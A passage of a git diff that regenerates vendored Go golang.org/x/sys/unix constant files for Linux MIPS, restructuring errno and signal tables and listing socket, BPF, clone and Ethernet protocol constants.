-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-index 4148f277..2346dc55 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-@@ -3,7 +3,7 @@
-
- // +build mips64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
